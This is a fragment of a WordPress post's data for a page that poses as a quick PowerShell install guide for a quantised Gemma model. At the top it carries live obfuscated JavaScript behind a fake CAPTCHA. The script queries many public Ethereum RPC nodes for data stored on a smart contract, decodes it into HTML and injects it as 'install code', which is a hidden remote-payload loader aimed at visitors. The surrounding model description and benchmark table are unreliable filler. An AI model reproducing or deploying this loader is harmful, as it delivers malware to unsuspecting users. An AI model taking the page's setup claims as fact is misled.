px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'064f047e_gemmabitawqbit_minute');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:25px;padding-left:18px;margin-left:0;\">\n<li><strong>Processor:<\/strong> high <strong>single-core<\/strong> performance needed for token latency<\/li>\n<li><strong>RAM:<\/strong> required: 16 GB <strong>absolute minimum<\/strong> for small models<\/li>\n<li><strong>Storage:<\/strong> extra room for <strong>future model updates<\/strong> and datasets<\/li>\n<li><b>Graphics:<\/b> TensorRT-LLM \/ vLLM <b>inference engine<\/b> compatible chip<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Gemma-4-31B-it-AWQ-4bit<\/b> model is a 31\u2011billion parameter instruction\u2011tuned language model optimized for efficient inference. It leverages <i>AWQ<\/i> quantization to achieve <b>4\u2011bit<\/b> precision while preserving much of the original performance. The model supports a <b>2048\u2011token context window<\/b>, enabling coherent long\u2011form generation. Benchmarks show it rivals larger models on reasoning, coding, and multilingual tasks despite its reduced memory footprint. Its <i>compact design<\/i> makes it suitable for deployment on consumer\u2011grade hardware and edge devices. The following table compares key specifications with related models:  <\/p>\n<table>\n<tr>\n<th>Model<\/th>\n<th>Parameters<\/th>\n<th>Quantization<\/th>\n<th>Context Length<\/th>\n<th>Avg. Benchmark<\/th>\n<\/tr>\n<tr>\n<td>Gemma-4-31B-it-AWQ-4bit<\/td>\n<td>31B<\/td>\n<td>4-bit AWQ<\/td>\n<td>2048<\/td>\n<td>84.3<\/td>\n<\/tr>\n<tr>\n<td>Llama-2-70B<\/td>\n<td>70B<\/td>\n<td>16-bit<\/td>\n<td>4096<\/td>\n<td>86.1<\/td>\n<\/tr>\n<tr>\n<td>Mistral-7B-v0.1<\/td>\n<td>7B<\/td>\n<td>16-bit<\/td>\n<td>8192<\/td>\n<td>78.5<\/td>\n<\/tr>\n<\/table>\n<ol>\n<li>Installer configuring audio source separation setups for stem mastering<\/li>\n<li>How to Install gemma-4-31B-it-AWQ-4bit No Python Required Windows FREE<\/li>\n<li>Script downloading modern cross-encoder variants for RAG optimization<\/li>\n<li>Full Deployment gemma-4-31B-it-AWQ-4bit Using Pinokio Local Guide<\/li>\n<li>Downloader pulling specialized offline translation models for LibreTranslate nodes<\/li>\n<li>How to Setup gemma-4-31B-it-AWQ-4bit PC with NPU<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>Running this model locally is fastest when deployed through a PowerShell script. Follow the sequence of steps detailed below. No manual effort needed; the setup auto-ingests the large data. To guarantee smooth performance, the process auto-selects the best options. \ud83d\udce6 Hash-sum \u2192 0d45477322788c2c8df4ae183d3e7c47 | \ud83d\udccc Updated on 2026-06-26 Verify Processor: high single-core performance needed for [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[180],"tags":[],"class_list":["post-5379","post","type-post","status-publish","format-standard","hentry","category-few-shot"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v17.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"gemma-4-31B-it-AWQ-4bit on Copilot+ PC 5-Minute Setup - Mono Matbaa\" \/>\n<meta property=\"og:description\" content=\"Running this model locally is fastest when deployed through a PowerShell script. Follow the sequence of steps detailed below. No manual effort needed; the setup auto-ingests the large data. To guarantee smooth performance, the process auto-selects the best options. \ud83d\udce6 Hash-sum \u2192 0d45477322788c2c8df4ae183d3e7c47 | \ud83d\udccc Updated on 2026-06-26 Verify Processor: high single-core performance needed for [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/\" \/>\n<meta property=\"og:site_name\" content=\"Mono Matbaa\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-30T16:34:51+00:00\" \/>\n<meta property=\"og:image\" content=\"\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"r3dc0d3r\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/monomatbaa.com\/en\/#website\",\"url\":\"https:\/\/monomatbaa.com\/en\/\",\"name\":\"Mono Matbaa\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/monomatbaa.com\/en\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"ImageObject\",\"@id\":\"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/#primaryimage\",\"inLanguage\":\"en-US\",\"url\":\"data:image\/webp;base64,UklGRtYoAABXRUJQVlA4IMooAADQkgCdASr2ARUBPjEYi0QiIaEQuexcIAMEs7XroNbIw+BM2N\/8bhxPXcecfs8d3PkmA0S2aUzq4UWRGiM\/K729Lq\/avw97LvS7qXywvL\/z3\/Gf3n90v8F8OP9L+Rny5\/Sv\/A9wL9PP8v\/af3e\/wfxQfrB7zv7b\/mvyA+Af9J\/wP\/h\/v3u1\/3j\/gf473L\/2T\/Kf6r+5f5n5Bv5T\/c\/+d6yXsL\/up7AX9A\/0P\/\/9m\/\/Y\/+X\/R\/v\/9Gf7O\/+\/\/S\/A7+wP\/k9gD\/0+oB\/4enX8v\/+PpW9kPznmT11vZXOV\/ez8f63eyPgBezv8B+Y3ucvmegXab1CPWX7f\/y\/7731XpB81XuAflf7B97t9w9QD+Wf0\/\/Y\/4D9yvic\/8f9l6APsr\/2+4j\/Pv7d\/0P757Wv\/\/9un7p\/\/\/3KP2I\/\/4Z+3I+gz5\/ILZb406IGkEa0P6vCT845rNPtQYEd9txLK2Dpp2YSIfQirEuG7rLCtj8tnwWuObLJBE6jPxn+oHLu5SRkgm5vYPsloHaqOaprE3+9WVhLc8s2gV0RjIqaraI0jRftBrF2komN88YdwBSVaGNCQVmWLBVZYQ3afY+aVyIoPlkKnX3zYWfqucegblh6nW5y2LgcQ2Eagwtroi6JSW+k\/SoucAAvkkxJtHRIU3fJyWpI8KAGD1dWCSGNHqkOHebLvLOmynaXFIAlDZvNcwaJsz7R2PPKLhf373MgsGkwhpY9MlvNha48iiefv610NORKmwhuzS75g8iZee8vo2g4wBUV4UPp2tkVkzQVhs8X+pRccXBsNAnK4vcwIkIIHoqeNb2qCRqCjxlU0uERdkWTcn4xDY4KC4vGIz2fR6XANM+gE1aNHSFiB4BQJRIJuOknAdiG\/H05+pFWO\/gHCfIoGwrK3BG8Y5mG1+AU85nHhO2M1eyUkyoOQLoBVlfPMIs4DM\/V9ZZ6lljFtf6vOnazeef6j3MCA5G+GM20BozcEGhvYTgmRx4GBmbaXN4G6viEMIWbM1VFo60BiiNT3shLNDssaYYHgMrhymhjZM8V2IDgdMDaURTfKpndIhLj1AdVBlZrRWYBMMrrD5zYv7H2XRGD8ewEX0sv54HOC5yzYA0tUVDAx\/IoQO+aYoXGzF2lB7u3xef2IYhOS6apoc15eBTLYIDjh0Al92ZgqGBXiQGSjvDDTXzSAVciZ1qfax+xO23ruKp3R7utkttb7q0R0LnPZRXD72kPVSMo+jdFLUgd8f\/OY8QJZZWIXABHtDYHXq6EJtwkG5xwTHknelc49addrEnnsYW+TMB1V0ue5Faq8FCuyqoMt8yIL8RD12h1UsaDU6BRQplhcuGxkN2eQUwckmnLvFONhJCy\/JxlSNjSvnq2m3ySQMOsqRDaKpNpIaurtq0yONZg4RHHloCt\/K7TP+d3xk5B2h0q0d9+kq\/lvL06yLrh+rJJQAH8\/EQCuPJ+VIWfA7H\/ypXp5NQXqQgArWmGTQoDMKTicxETDaIBHqKx8\/GZTMFQW7oANzySci1eFFyFaFEIVFWQI5kqgYlBbx08p5jf5TIp0xmZ6MseQ3Ie3nybS5niF8g3lug8AAP73Gzzpsq3sulH5NyyyUJ3eiSNmnEOc+UwKwipZAKEx9mpHsl4x5by+rzk3xcsEbvy9RHeO78NkDK59a9OiQ+YYlHPbN9gpH+1wRPDXcGzsVNmc9irvY085zNOoQtbV4ZEC7U4DaExFYMIB3dohdkKZuYrUY4Owdb8yDcwPDVxK1IPTPnlv8+OHefpgVAi8dJyFH+4bc8yQv4tdOWnnq0oFEG73AiETRY72TgVwbox1PmTKT5ouoW2LWvHVKlmrHHkFwrnsV6pM4tJnVHKLQ4f4jW2HwaSgOfi6X0CgzTpf\/X8puuEORRG2RKxkpeLvgEe7ZUmDyr\/Kc4YxuHxAuz1VtOL0j5lCjHFVFxuuFt0mh6MOGQpGZlyNiKzP0wUmAv5e13x3bc\/gQ9C3OzRDdk3qVT+uZLDSspOG6IAhslH+q2wpqV0w6+PlLXK496g0NGt\/trpnaa0EhGJ18r6OcaJJs0asxP7uYH7QstolNjmPUnrWJd\/TcpRHbcx2AcC7sxZZJC2wH9pXLdOdSlP1pHAZIGvmuHUl7b9t0tMCSQeQd6nyir0CgycIQm1\/EoEDx8MslgEXy08X10kj8TbDOV74oeB6U53upyVLm8JVNGxPQWCZ7R\/RojTFfBtOvXNK8V2sLvk9sbEmzgmDLCv37yWLTnGSCblQQr0hMIKmhqSCyaB99njHpXE5FEO0ao5Aae\/RB+1TwZWrfg1BrAt6hFxKsOvtqu\/Aiv4YI855iAjRu7Nl6xubz+bKBuR4yaXaxgCPQ+kirYMwKvuWNN46TOmdlBtxDPrvCLuAVBYGKEHC+9qpIygZRrqDkbuvrKwyo+fwWsqBItVr+ijCzeYLezoKE65stpflNlaHGIjQDRZ3RTgSehUnBHW0bC0nl2ubADHyta7gI8WOkc2ClS\/r9B9rZMkQP66OVm09gp7rWoXlKKR6AN26eSv1WiD9kin69XjbgB7HfSCs3NCoCW2TGnlxGyXOIpACs9XWCf6PHjWAep7T2MI27eDIzyx8N5uP8piKpTp1i1sBC9y+o5XHXhXLiKkaxHHUFcK7rylL504C45NqVsUZgsKuPilz96HdYcy8IVXgSDzdQ7wR1vererQurzrdERN8xSsF8UzaIrlgfkOLxUSl+6cVjeXXuxbERjIi2UsKiN7hxWlSEsSNhBYmMkxgMo6tYWVsYVaQxP0b\/ffXO7M2xPfeZjBy7sWleSSTfU8UJy66vRviMNmQUS17DS\/iyfqflkP\/KRGcc8BFGeXKJJw3Uip3isPJXRKb0d61Tx4QxS2tHJz5EozWYcFBdidX+NxWNuolXNytmxl4U+rKoBZjXOznOktq8fpZFQgi8EPL4ZGewGZXFDboaqWCGf1ShmLtSyAlS1n9NHIUuUsTwKfAYt36CEYpoY5C780De0yNch3x0avc2v7Ssp724r9lLMgCaCNFOceGbFBbWoivgynryiCqpug5svNB\/ATX+pRAsgbygbFYciwdYJFLszq9Re2zD4K2bI124dqGulmO932vVL5k4zYXDjJAkPmEHnYHCcUVJS+qa5JeVYL25s6M8ezQtb3II1w7yD\/lxdoC7iAbXWQ5FOJQIVu5dJieZ2iJJ2NtXxcnd8oeM9slbUYLNhY879UcPP55E+cnf3ioL3wtvAjykuhIG95ZS+l2VIXsglRJCXTb09gLkJM1\/epEeHVbcZZkvq+xct+0+ktyvscmRMhDElSl\/xhrHx7Ey8baCNAPh+FgBpeJp4P+m3VpaqqzvyW5h2ef\/rrEVSvvHHfTXn8swuIFeWpBmhZjIaHOtRnoeYduXK\/4VTpz2e0nP3G2UzuS+8NBcf4ajrehoD3Nv610pYcJzfoTkLxSCiKnumk0NQa9RjMLG8x0tcsQWSt3nFDMToTCjvQDuusmqA+bxSHxnW9VgcakkmuY5ceDEZwPlrycOZvslhSvhojQuKaJDLE3LMfWwRHMIyZYYVWDe2AYo88hS1+b9+LB5ulCBoD44Zo5nOuxfYh5g0+gZlaiO2Z4n\/jfdUYFvvKWmbw0Q0qcb12zBn\/R6rs6prd+pbIm6v8GAOlQNcLshVv0Gb03l1lUfPzT2tyrNfjyaoS11VCYucb9l7e1Prw5lrDp8BVqp4PsnOJH\/dsRUDutXu\/yX68AkCK80NWbqh0W0lrdUo1TzSgumOipt7fE6TJwfOvkj3gEyhTvi2Obm8L\/7o2H9+\/KhfuSTaeyanLj0bMbcUyPyPWVioUZ6PvKCF+iK7B77cCEJXvrRG+WC1GxdpbgLERzsUuWdbQy9nj3hv8S5NASVKNeQ\/hZbOOFIInFVKVys8a\/jYycPx2\/c4dtIbxOrdY5sH11sWxErTb6y5siw4vJbrFmywPWeDSgnOGQ8ioXRvc1MlOlwfSvFIbDS1IUeHTnGfKK\/v1xePcTG8CNiRwOq1ADPIAajQSC6QzuGBOnRBsV1AJVoHBZlIuljJLuAoRTiSbwGkzav+\/EyYxjsdJG+GeE5hfI\/\/CoR9jgvsAQPutRXUJchFdvfd\/BvwviiB9YEg\/gn0bl6LqzGLrHh8vMqi1cG\/37GvJooy1EhRyo+0aMYZLj\/+4EtsQRyvfFk00QPonpCo9\/5fEAiSkEFuhE72pplN2aNDymfkZgWIdyxE2MPdR3F52cFUwJ1xSHyp41O7VKrTo+BfZ8LzVqY+tKMuMmCAJFtY96DeDgILIN\/+PzBN1\/KaJgCWo6EcNiV8XBXz6o95JDIVW0\/Lfh8WQuwAn0r\/5SJDfEAz3Bk+6zlnjkhxn8xhubDwyz5LU5r\/+YwnFAr3tAM8Iex4BOD0UN9ZS+LKVgn+GJ3uKPo\/PWPf\/lPG+L7+zEqWpopYmf2Eu4JQmVJSHss\/Fm58VU1PYutLTd62Nmx8KbJxRg6kYGw1j71ypFZdFZJUQ+dnjjEtO6mInn2SAMBO33XarmuegGeftc5aqoyHmFDVxjkJgiX7quvrQzBH7Ybypgkr6BKPmPLYHmlbtjWOqWzL3rtbeesBtGENAFN05waX\/nWW9JPKHaOYHD\/Shfrigjigj3AMrc4O+UpNKlhYjSKcEbHnUJ5OsM\/YIjfto2IaoiudrLqDGLKNYi3lyTnEZCu6PmUlp7vSGcl0Gw6FvTcxlnzc5CovIBNrE2rb5TcSXXhs2k4sLXUsxmgSgCAdkSOe3j6ICY8hUSrKUkNSrTrjTRqR8C2kcgRQM123qJgrqX9YqwDjh+GW8gRTmPEKoDiU6ZMnCrOPnhVJXbFDcOMnhDGrVmvaydnB1cVqmKyV8TGT64obeweO2AWBzMbR+o5T22ju7zaEAxEaG\/vusNe0jE7gGlFHNH1AGH9Lm1XfIXQK7aQjQzXGdIy9E6dp4LFBmqUo9ftbbHPUJKY\/wybgivDF3g\/vsVWEuDaGgAnxnPOYdb0Numhn53sqGWtR\/sKuLc3I5jAnEaDzLB1Um4pUXxHSFqyrXnNrIsdFjqMw79JuDpZc4zUlxRw6zUXmZAlW3N1Zqh0LtluWdh6D5kWGzH1VE6VHn4JewrRqaqamp+lsc5gUdWMqIJ7uU+FtSFFV0VhwzaO4El\/Qmeg2cw8Q6dPEPzdbJ9HuEu13yem7CiSe3KH\/wAkI\/dLsIK2603qDJnnvd02MXmqJRuCnUchOmoxLowAna1KJpOzRbYT\/qW9AYhLi5Ei\/IZCPj1fTVWVVXNHS7Hh2Xxg7Gd01mXN+5CRhFUD6ZE5sMdebjM2HCHDRbMZhqG\/\/c8REvj+6A+fz9oBTAy2CMlNlvWm7j6LLQpNvbaEdERWgO\/bLYEln9zA7nesP3crIt3\/DUR7R0YTWqvOQwW2LwSzWnQhiNhWNE8MRP0\/sB65\/9wpiAAXXm9MYZRx4xaccyxnkwSVPpoAd1VmWbNUsix0sYSaqPgEvkCZKrTYaXntNwCO57lXgokUhky68yCeOGz2+W4ZtwsuLJm4UDp4oeGG5Y3bjEgk5AVXCzaYVqWT530G5TBlyDj1xVo7EU+F8DAbUFObq6mxRFtq6hVuRKYcXNIZGH53i+D+7+kEhGG9ZQzN\/ky2zdIr\/F81rkF4QJ6M\/yviIBCMFOJYgB6NkMCpeOiO8Q\/bzjpWfklbaxh8ZAUG36fcArxBxcIFkOrNNlmXijCejpExNk\/M39BrPm6cLk1JjfCKab\/9y5GYtuyr+pkhQMY0UUiVw8okRyJg5mUJ1ogoB77HZ69xpQnM8j+onI7e8d0e5TC4EQpwvshMgD2o+EPJ8rTdScFPghJJCK058yZoO1jwqnL4oHM9IONBnu6tdpwreYaNdYmoe8f+UieXHaj\/1OtsXQ775i1Z8qUd+mOpx+zxRJX9ub8a0CgLOnAtqiPOmHFtTvzxinwe8TUwdFGyYVgNHt+2o5g\/eiBV6YSxNdiShRTTtj2d5d6BRxCyKZ5e7+dsBuCWBDQEPktDg2arzx4lzsJ2\/3GMZJa2W6wFVoy3P6QcPw6hbWOR6nGHurtTZWCsoHZ\/MP3vOl5lzOjCeNW+LxcA4CbN0nvR5v6WA8kMArEgMZ93PIJLUp9u28WO8vs+nb2LBZs5ABGagj80wN5wzxATXn1GbeN+K4mnljB7FhOJ5B6gQdxGvz\/KtIgzSQ6UAp6SitqGTX3QQD7HdDfnxk6wvetXkfeWODMr2v6HFxEa9kNjIx9btQzUNCVJJaRMO024duPdv34W5PrzN\/1HJEMbxrtQ2ww4az\/7i+rwb+Lb4s6bnO+9+oDhDVpLXv1LRANf31Q2Q5u3J4bvzY4+VtCHFDZ+27c0+aOG2qSbgAF0BxkDElFHvNhKFZW9lyOGIm5COzEe\/NSzMXTc4WZyZkMR5PC\/P50gezVZPTQXb0pjf6Fhg\/2+9e8snY\/5FkxJsjNPhqIGMfuuJZLF6rTAcLFVUMxwvty1NUfQEvXuUVgakKQn5doxVyElvuX9es9oA7YX8oexB1TxU8tCtfpRXGKTVow2vm4bSYT4Fr3YF\/3zDRTlXC\/O9wwQfkwmkGonmoHWAWeCZgYUXsLs0cEHk\/vZx1p33rrGXILhPIwyWISMY3wSEq+qRWQCp8ffdyJIaeqiP\/rQCXdIb5XA9UkMWt7QOG03XD04DjmWeBfXd0ykBw5KmH30zz38aMvLGPaBysvdC7Dx9D7MVsd6VrMrUQwpPGzph8ley\/wlgwm\/IqUGlsEIWFEUz2p0vk48fC6\/RaZFqfTRNqBigTQu+7SeAkDd+KvpwuibR2DjA2uhqjQJqkiIsAJ6qbjbSa8ldjaKZPrGOtArhxhyiZnpaR5IaH5XO1wljlbcmeRcnCBhIUVdwAf9qASL6F7YQtqbpZxN7ZvPLnEcKCkcDLnLI6Pp5CIDqAICjFxF9whXD4Ke+s8kTA94w\/5h1qX0aUa1OMb7rROk8f71cWc6k1q45dHdjT4Cd96iB93mNRbeGQ3+V4\/x1C8osy\/RWacVWMNdWa65E4WO\/wm8Zbb0O8MB11pPbuPlEvyRpL\/iF9XJaq702voKwukPEeqcmzm+PWpwhdYPyVKBJ\/Nkz7rzO6A6GqI0JNayUH2J4Mp84WtCZHcVD365L0JAJQTkIak\/UREFdCXWxw3XGxmPuF7jUjJcw3tZiR5oVFcsUMW5WMHMytegi8\/HbVuGGQ1XLsUbeIjL8ZaXikb\/XUvhwId2KNFtLAyBUQay34UwWIq8B4BoER49Yp0VChx9BIidRhpga3qhT3XPOJh226G5OoJ7kQ4j71kTWglyN+99bmG0T+BOmhERnTeq9X3z93dpTbDHobpj+BmqioCMB0eAVnxsivDoM6Ou0akQKCsZXXy6jL1jhD73R7aEBkldnBcZ5q8YtXEfo47EWuEjQD83lYtqZKlKHsnK5RwsypzQm5JZVCDpZEAkEetvvLq9g1Wq+rQ7pPRNsBY76ghTYBzAYD+eh06MG8NaTXAqCa7qPoeK8THKybkwvpJeyLreqKPGL\/K0wBahZxI2IphEiP3xsE2Jwo8EhfKdn9e60QuRJfclKZ32bHf8avEaqkKmoEohhLqrKxlIzjcQ2ddUUvHalbTQJKxoemSEFFYjnIIiwBKLsRo6ueiU3gWAyShJ0XMNrZrBFwum8sBoDm+kznAcKO2jWqpr74X0y5CQjc4BZOw5AZ5dswSV80n5jAU8+spDzn4HRhkZW17r73Wvwm+EhCqZFdxMy5J0Dk+y7zjhRkIwgUNmKFNbYiPxDpcimnmYEplcdqla7r6D0FHJhoERsYrFfxhOnkgZvbJfaUOZCoJwmiPFoi359vlo9LVR15JEFjX46sZIhjlNQhXKTnCCYcFb7kmGW6Vn25NTpNYHHWaWCE\/ZrJaZN3ND1Bf8hWgguihAHVejTzkIfy9CSFduiPYq4w9X3Vi2twfhJw7HzqHytsXYJifc4Sk4dbz2xpMe3hMnw1Iyhto0F9Q1oF5Na0oDxjzJpsHRtaozWTilrAsllDRQDCcz1O7JAuS2qppUQzX+KQI9cVCcf1oie\/CPX3WYnRaqVPKzHbdgvKGXjH4FGyJHRAWKS6bw0Ui2FgQPtXPwjTtGQ8xB0VcDu6KRiLZ+AVLtBQUvTjTu0vh1yx6ySL52YzzSpuwf3EJd6L59G14jvMISC44UXCdeQPXwKLACOAiIh1w+3du\/eY80kPRiHy987DeNxq884kE1kSXU1GhupmfF4GH0xDEGurj9TGe4\/YFO7x9fG91Rvqwertl0serpxhLu2y2fTvvRjzSwqS3sG7Xcmn+aSLSRm7U3dvvyqooCaeQelNPrzpWuGrjevtbyxzysQFzsR6ceuOhYd9O9cZ1tR9FzGzMnAjVPO7hgSqehoYkKzj9GpiY2ZND8Sl8Qk4fPMpT5auDwaw2D+BxkOPOHZ3pRWxB8wQnR+fSjVM66ELllibP6vlc7Rq2HrJpFvggZUNomBw5zu2ECjwt50kSgi5MP68j+HLDVDSgunMcRb5uGqPgPgXbRoQWQHt+zo748ZgOs8VO75d77R8O9ZTnKrArO50epktdzfrLcK5TQMBpmyn4w92aKK5C7fVB1D\/lGp+VyJ+lnjq7zr0rfyZwioWmDP2DXU9eR5a1WszwJIU7iCLbO35AYEgj\/8GC2Y7cmhP8Q8HrRzJDJW\/dKI8Of247xr4HVuL0nivz+jnMzOMFIzRDcvBs5qqggFIWDSdYSzBCFnOccXv69mE19pMoU1VDhS+aqZWBqEGGkNgYJheU9EM\/yuWXQKzxf7bxyejuzytjgCQIHKsdRyWOFruJ1ZdHhyNn\/uShCjOG9zspldpmSgJOWu2\/\/CtOt1v3+XFdBYB2TSotPApdHAzLgzbzm9v64ipj+0gXRGlNQlry4RBCPFX46Ifi7hJU7MqSiKH\/yp6EhD4OTyvxerNPqu8gc2BMfs7qXeoQuYsZ0uge1PemYBviQ8jT+Zl4R5cyAVK+cUDxLgrflAiW+5KHTHyjSjt5gb8owzwZXikEeiQUrLTaUFOMC7xYIGru0DkSeTA8Q4oOEdA0nUCvHecqoUwzMliW2IbU44NA7T2k4zorOIA5+52bYbwxIO\/A66XasWyfM+ExJxYefn12BN4XT3bncCxbcR34kOWr10LMWmD+ApYA0YaO8clPSdotBc2o3j3eGR7W+3I1To93BCRWPXOb\/hvwgkhsgiGkAOdCvTYCfkNDKLxT\/0viSI+QOkhL3eVgYUk7x+CV6DEh7Fr82SdDbjJ0jH7Dn480RrYBowhsEyJ7H+\/SQetPiklCWLAZnC4edv+9GrkXH+xbmRT4IVviFvkSys7GYfO\/9GngPjM7LTIPzcpHs5750JtJbhZrOTACNbzrV1sfozbJxzusjBTX0YWy77k\/8TVfPV0HUuw9thzfjzV6MuUQa9rynn6\/tCBirzRjBWSjUk+n6H5mZFsOMX9+OdNZxWSLNGvKWyqeop2NHE6uPFiiiqbD9Hb6SnAP1loWqD5EBEQo5+B36Jp+EVdYBxVpNs7JhRmHaN2sXiVyMVaRPMyiZqwnBUnz5a2QBVkIC8lddMmmM6yxkZ8ELbw5uCW1lSLgZ57Npr\/2WzwoZC79FG1jL3budhOteG\/XDIbDtCplmdkPNxKGAC6Et8rpnlprBjV8AfIs4I80rzVV7MI75WnD6Z3DAzrd9ks2e9MXF\/TUOh0cINY+25KBBD38EPnuHi2sG4\/iho10X0VjkiFcoUe7mFsz86A80Cks73WM\/wtRabP05m9P0P4qmtzANfpeQtD+52VAeIIMmIuC3\/EVckiMY2v2lqENDkYVDMilZh98d4ov31PSNYabaxe2GD6Uz9m6RS2a6sY\/0ioAtgZ\/SyqfwhQ0eNMsYlZDU4vGqNraf\/BA3EQ601lxguJlza9iDIAC5oPxEFnsv9SBj3hg96MwvQKvIO9CHf8PfKZ4abWfJVBF2xC8fdVvTv8SfRp2p9\/v3FZerCVBt7FFO1XPHFMgyKwC2heeJ7axHfBedA7m3eEU+HJ5URnrSJYwimWMJT4asaxqHuizMUamg65MtFxViSU1G+s6JSzVu4yMwXq1vx\/z87+4V4VZE9\/Bm163SWtGBHLWEDGZjOUweLClJ9Sk\/nM205k9\/r4Dy0x+MNAFrT7O7Ka9lfTksxnLSGxlJCWQgqFl9r0uC2ZRha7A7OOzEG6xtkmssmebl8B2R0AOUGucI4ky6ynvLWICHrjhkK2axCo0MSEB0e7v5G2K3uK9Kc1hTEVpFjbt1j1cEf92xHewGzWTaXX4HyD0IqrG0rhD60zg51g12L1tEee\/GpVLHKEo3JX2wG+qZHMdlTWo59\/\/Cpf4QcXeIOp0JC12u6lVAqRtWZ557F\/+8skkKexdF0RzWeokAI0XJ3X\/4OQkPk++XrErBpRR2u\/Qjoi0WF9AvC8\/gxftVKxqXXVlG7loElEtlEOARPqhVnIzAzdv1ZsAhUlCeMWSPu88Hgt1VEfyYLXyfKkBBHDmf9Fz59QTpfetopvQnzzlkwmmJEQ2vMq\/+Gfn3bS9nZ+vi85eGdz52D2hiDFlXbVoB89P\/wcatHSmMnSEK0\/fx8GbUo344DfAs6Tzngq1nYYP9LDksJQ1K1knv145EFt\/ELR+57y1xFDr9+aKRNFm\/BAbmns3MyRnOE